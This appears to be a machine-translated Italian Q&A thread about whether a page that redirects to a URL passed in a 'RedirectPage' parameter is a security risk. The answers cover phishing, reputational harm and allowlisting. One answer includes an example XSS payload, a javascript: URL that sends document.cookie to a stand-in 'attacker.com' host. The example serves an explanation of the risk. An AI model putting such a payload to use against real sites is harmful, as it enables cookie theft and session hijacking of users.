Riesci a trovare il problema di sicurezza Web qui?
Domanda
Ho una pagina web che reindirizza a un'altra pagina web come questa:
http://www.myOtherServer.com/Sponsor.php?RedirectPage=http://mylink.com/whereIwasgoingtogo.html
Quindi la pagina Sponsor.php visualizza un annuncio con un link che dice " Continua alla tua pagina " che si collega al RedirectPage passato. Ci sono problemi di sicurezza / spoofing che potrebbero derivare da questo? Qual è il modo migliore per gestirlo? (nota che l'utente non ha effettuato l'accesso a nessuno dei due siti)
Soluzione
È un grosso problema. Se ti invio un link simile al seguente:
http://cnn.com/sponsor.php?redirectpage=http://bit.ly/jh2l14
Penserai " Oh, CNN, che è un sito legittimo " ;, lo aprirai e fare clic sul collegamento "Continua con la tua pagina". E poi sarai su uno dei siti porno più cattivi della rete e avrà una voce maschile in forte espansione che annuncia a tutti i tuoi colleghi " Hot Damn I Want to! @ $ @ # $ Your ! (& amp; ¤ & amp; ^ $ § fino a quando non posso ¡¬ ^ (! # ~~ & amp; $ ^ #! @ $ !! " e dovrai spiegare al tuo capo " ; Pensavo fosse la CNN! & Quot;
Il buco qui è la tua reputazione . I reindirizzamenti alla cieca come questo sono pericolosi.
E questo è solo un buco. Che ne dici di questo?
http://cnn.com/sponsor.php?redirectpage=javascript:location.href='http://attacker.com/' + document.cookie
Ora ho XSS-ed il tuo sito e rubato i cookie dei tuoi utenti. Certo, dici che non ci sono informazioni di accesso, ma che ne dici dei dati della sessione? O quando aggiungi un accesso in un secondo momento, o qualcun altro nella tua azienda utilizza questa pagina un anno dopo in cui gli utenti hanno effettuato l'accesso.
Altri suggerimenti
Questo è sicuramente un rischio per la sicurezza. Dovresti evitare di utilizzare le variabili in-URL quando è coinvolta la sicurezza.
Sebbene nulla sia totalmente sicuro, questo è un modo molto migliore di gestire questo problema: http: //www.webmasterworld.com/forum88/2910.htm
Se sponsor.php consente qualsiasi valore in RedirectPage E gli annunci implicano un'approvazione o incoraggiano le persone a pensare di essere sulla strada giusta, lo si aprirà per far parte di un attacco di phishing. Quel che è peggio, probabilmente trarrai vantaggio da quegli attacchi, il che probabilmente renderebbe le persone piuttosto scontente.
Mantenere un elenco di URL consentiti (o schemi che possono seguire) farebbe molto per prevenire problemi.